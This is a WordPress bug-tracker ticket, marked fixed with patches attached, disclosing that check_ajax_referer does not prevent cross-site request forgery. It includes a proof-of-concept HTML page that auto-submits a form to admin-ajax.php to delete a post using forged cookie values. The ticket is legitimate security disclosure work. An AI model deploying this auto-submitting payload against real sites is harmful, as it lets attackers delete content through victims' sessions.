Context Navigation

← Previous Ticket
Next Ticket →

Ticket #4939 (closed defect (bug): fixed)

Opened 4 years ago

Last modified 4 years ago

check_ajax_referer does not protect from CSRF at all

Reported by:	xknown	Owned by:	anonymous
Priority:	high	Milestone:	2.3
Component:	Security	Version:	2.3
Severity:	normal	Keywords:
Cc:

Description

check_ajax_referer only checks if the incoming request contains valid user credentials but wp_get_current_user still uses WP cookies to determine the current user, so anyone with a subscriber role (or another role) can perform CSRF attacks.

<html>
<body>
	<form method="post" action="http://localhost/wp/wp-admin/admin-ajax.php">
		<input type="text" name="action" value="delete-post" />
		<input type="text" name="id" value="Post_ID" />
		<input type="text" name="cookie" value="wordpressuser_sitehash=subscriber; wordpresspass_sitehash=password" />		
	</form>
	<script>document.forms[0].submit();</script>
</body>
</html>

Attachments

pluggable.diff (357 bytes) - added by xknown 4 years ago.: Set current user in check_ajax_referer.
4939.diff (977 bytes) - added by mdawaffe 4 years ago.